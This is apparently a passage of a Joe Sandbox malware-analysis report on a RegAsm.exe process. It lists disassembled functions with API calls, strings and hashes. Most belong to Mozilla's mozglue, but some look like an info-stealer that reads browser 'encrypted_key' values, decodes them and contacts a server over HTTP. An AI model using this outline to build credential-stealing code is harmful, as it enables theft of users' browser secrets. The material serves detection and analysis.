GetCurrentThreadId.KERNEL32 ref: 6CBA66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CBA66E1
EnterCriticalSection.KERNEL32(6CBCF618), ref: 6CBA6734
GetCurrentProcess.KERNEL32 ref: 6CBA673A
LeaveCriticalSection.KERNEL32(6CBCF618), ref: 6CBA676C
GetCurrentThread.KERNEL32 ref: 6CBA67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CBA6868
RtlCaptureContext.NTDLL(?), ref: 6CBA687F

Strings

WalkStack64, xrefs: 6CBA6890

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 8fb5feea48ba937e9f61cf63e97de0fbfaa6bf7a9cbd9a2ed9e9bad4112ad87f
Instruction ID: d37751ac86185451f3712d839d0f79d9d8db3f1d988979739c8ce87b005533da
Opcode Fuzzy Hash: 8fb5feea48ba937e9f61cf63e97de0fbfaa6bf7a9cbd9a2ed9e9bad4112ad87f
Instruction Fuzzy Hash: 9D518CB1A09381AFD715CF68C844B9EBBF4FF89714F00492DF99997640D770AA09CB92

Function 6CB8DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8DE73
GetCurrentThreadId.KERNEL32 ref: 6CB8DF7D
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8DF8A
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB8DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CB54A68), ref: 6CB8DE7B

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CB54A68), ref: 6CB8DEB8
free.MOZGLUE(00000000,?,6CB54A68), ref: 6CB8DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB8DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB8E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CB8DE83
<none>, xrefs: 6CB8DFD7

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 40d0893590499b39203b0fd1114f7f03ec845ffe3306270c69bf7df1ec7c68a7
Instruction ID: 2d4fdc45b27890a5b83ef97e93a830be30a6e694ef8690093f709a0ac734814e
Opcode Fuzzy Hash: 40d0893590499b39203b0fd1114f7f03ec845ffe3306270c69bf7df1ec7c68a7
Instruction Fuzzy Hash: 47411535B022929BEF109F75E8087AE7775EB4A31DF04005AE91997B01CB359A05CBE3

Function 6CB9D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB9D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D918
GetCurrentThreadId.KERNEL32 ref: 6CB9D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D970
GetCurrentThreadId.KERNEL32 ref: 6CB9D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB9DA2E
GetCurrentThreadId.KERNEL32 ref: 6CB9DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6CB9DA91

Part of subcall function 6CB65C50: GetTickCount64.KERNEL32 ref: 6CB65D40
Part of subcall function 6CB65C50: EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CB65D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9DAB7

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 7a4f752e9bbb219d14fa6887fd4df9d687849151a8977c8a1cab21c62ab098ea
Instruction ID: bec6d4ab03ba0c494bd27cd7742710958acd7b2cee1bb22ab9f0f02de462ef3b
Opcode Fuzzy Hash: 7a4f752e9bbb219d14fa6887fd4df9d687849151a8977c8a1cab21c62ab098ea
Instruction Fuzzy Hash: 26719A356043449FCB00DF29C888B9EBBB5FF8A714F15856AE95A9B701DB30A944CFA1

Function 6CB9D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB9D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D52A
GetCurrentThreadId.KERNEL32 ref: 6CB9D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D55F
free.MOZGLUE(00000000), ref: 6CB9D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB9D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB9D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D652
GetCurrentThreadId.KERNEL32 ref: 6CB9D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB9D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9D6A2

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d3f299c6752249caa402ba114ea2b216348ae1a6067e5d4ad048c8b27b853c57
Instruction ID: 64cc133f1a5b705a42afd53f12fbeeda12a05c53f90a35852cf0df852af34fab
Opcode Fuzzy Hash: d3f299c6752249caa402ba114ea2b216348ae1a6067e5d4ad048c8b27b853c57
Instruction Fuzzy Hash: 7F516C71604745DFC704DF35C884A9ABBF8FF8A318F108A2EE95A87711DB30A955CB91

Function 00410DE0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410E17
strtok_s.MSVCRT ref: 00411260

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,0141AB80,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 0291b9380254c4f85cd569094bc5995269b92536cee61bbc30b4daa697bbffe4
Instruction ID: 43f8ac416cb9b823db2283ba99bf4afb511f8f06efa02481fc3f2e7b5d6f774f
Opcode Fuzzy Hash: 0291b9380254c4f85cd569094bc5995269b92536cee61bbc30b4daa697bbffe4
Instruction Fuzzy Hash: B5C1C4B1900219ABCB14EF60DC89FDA7378BB64308F0045DEF50AA7251EA74AAD5CF95

Function 00413D90 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413DAE
memset.MSVCRT ref: 00413DC5

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00413DFC
lstrcat.KERNEL32(?,01423EE8), ref: 00413E1B
lstrcat.KERNEL32(?,?), ref: 00413E2F
lstrcat.KERNEL32(?,01423290), ref: 00413E43

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00409D30: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D89
Part of subcall function 00409D30: memcmp.MSVCRT ref: 00409DE2

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 00418E60: GlobalAlloc.KERNEL32(00000000,00413EED,00413EED), ref: 00418E73

StrStrA.SHLWAPI(?,01423F48), ref: 00413F03
GlobalFree.KERNEL32(?), ref: 00413FFF

Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
Part of subcall function 00409B10: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
Part of subcall function 00409B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
Part of subcall function 00409B10: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 00413F90
StrCmpCA.SHLWAPI(?,0042089B,?,?,?,?,000003E8), ref: 00413FAD
lstrcat.KERNEL32(00000000,00000000), ref: 00413FBF
lstrcat.KERNEL32(00000000,?), ref: 00413FD2
lstrcat.KERNEL32(00000000,00420F88), ref: 00413FE1

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesChangeCloseCreateFindFolderNotificationPathReadSizelstrcpy
String ID:
API String ID: 3662689742-0
Opcode ID: 5d26ff6f9ea7f47e2a29da810280cdac1b318fd89199a4c5539fd73aa42b5956
Instruction ID: d4b1db0ab37bfb67570dd3d18e95715430c5246f155b9e5a4f3dc5da96f51bca
Opcode Fuzzy Hash: 5d26ff6f9ea7f47e2a29da810280cdac1b318fd89199a4c5539fd73aa42b5956
Instruction Fuzzy Hash: 0D716672900218ABCB14EBA1DC49FDE7779AF48304F00859DF605A7191EA789B85CFA5

Function 6CB65670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CB656D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB656E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CB656F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CB65744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CB657BC
GetTickCount64.KERNEL32 ref: 6CB658CB
EnterCriticalSection.KERNEL32(6CBCF688), ref: 6CB658F3
__aulldiv.LIBCMT ref: 6CB65945
LeaveCriticalSection.KERNEL32(6CBCF688), ref: 6CB659B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CBCF638,?,?,?,?), ref: 6CB659E9

Strings

MOZ_APP_RESTART, xrefs: 6CB656CC

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 3a1fabe3b939c2da94fab7a7143cb649b9193fefe37fb7b6e84879e23e613ebf
Instruction ID: 0e58cecd9a7e90af60f622766aa132b03fed1c8ec1d7a0c98f4b90252eabc0c4
Opcode Fuzzy Hash: 3a1fabe3b939c2da94fab7a7143cb649b9193fefe37fb7b6e84879e23e613ebf
Instruction Fuzzy Hash: 5AC18D71A087809FDB05CF28C44066EB7F1FFCA714F058A6DE8C597A61D730A989CB86

Function 00414DA0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,01424A38), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,01423F78,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
lstrlenA.KERNEL32(00000000), ref: 00414E0F

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
lstrlenA.KERNEL32(00000000), ref: 00414E63
strtok.MSVCRT ref: 00414E7E
lstrlenA.KERNEL32(00000000), ref: 00414E8E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

ERROR, xrefs: 00414F89
ERROR, xrefs: 00414F4F
ERROR, xrefs: 00414E99
ERROR, xrefs: 00414DEA
ERROR, xrefs: 00414F12

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 403038929566516ced08024de874d387cf2f9a99d356b9ee5bed260c26f508a9
Instruction ID: 8f24e6183c5aafacdfff780c7fa5c74c912095ee1ff337cf81358bf1c292c6a0
Opcode Fuzzy Hash: 403038929566516ced08024de874d387cf2f9a99d356b9ee5bed260c26f508a9
Instruction Fuzzy Hash: D5516130911108ABCB14FF61CC9AEED7738AF50358F50401EF80B665A2DF786B95CB6A

Function 6CB8EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8EC8C

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

GetCurrentThreadId.KERNEL32 ref: 6CB8ECA1
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB8ECC5
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB8ED19
CloseHandle.KERNEL32(?), ref: 6CB8ED28
free.MOZGLUE(00000000), ref: 6CB8ED2F
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB8EC94

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 136098382bc60afd96e3f955e885506582de13c5519d7069e8c2d4e3881569ed
Instruction ID: abf79759e63ff9a7e66e65c67f48d559d83e825223c1f1831142d0b5e0669aa2
Opcode Fuzzy Hash: 136098382bc60afd96e3f955e885506582de13c5519d7069e8c2d4e3881569ed
Instruction Fuzzy Hash: 1F212179A01199ABEF009F64D808AAE3739EB4A36DF104211FD1887B41DB359909CBA2

Function 6CB53A90 Relevance: 18.3, APIs: 12, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6CB53BB4
ReleaseSRWLockShared.KERNEL32 ref: 6CB53BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6CB53BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6CB53C91
ReleaseSRWLockShared.KERNEL32 ref: 6CB53CBD
moz_xmalloc.MOZGLUE ref: 6CB53CF1

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID:
API String ID: 1881024734-0
Opcode ID: 362e7d38c2f2a4a6ecc572e8dbbfaa26c347f6909cc74245d8aa5c3bac1ad45d
Instruction ID: a0e149d8c2e0c4d251a879749637e3cb42d365e27a5cd52d176a72746907a411
Opcode Fuzzy Hash: 362e7d38c2f2a4a6ecc572e8dbbfaa26c347f6909cc74245d8aa5c3bac1ad45d
Instruction Fuzzy Hash: B6C16CB1A08781CFC714DF28C08465ABBF5FF89304F558A5ED8998BB11D730E995CB82

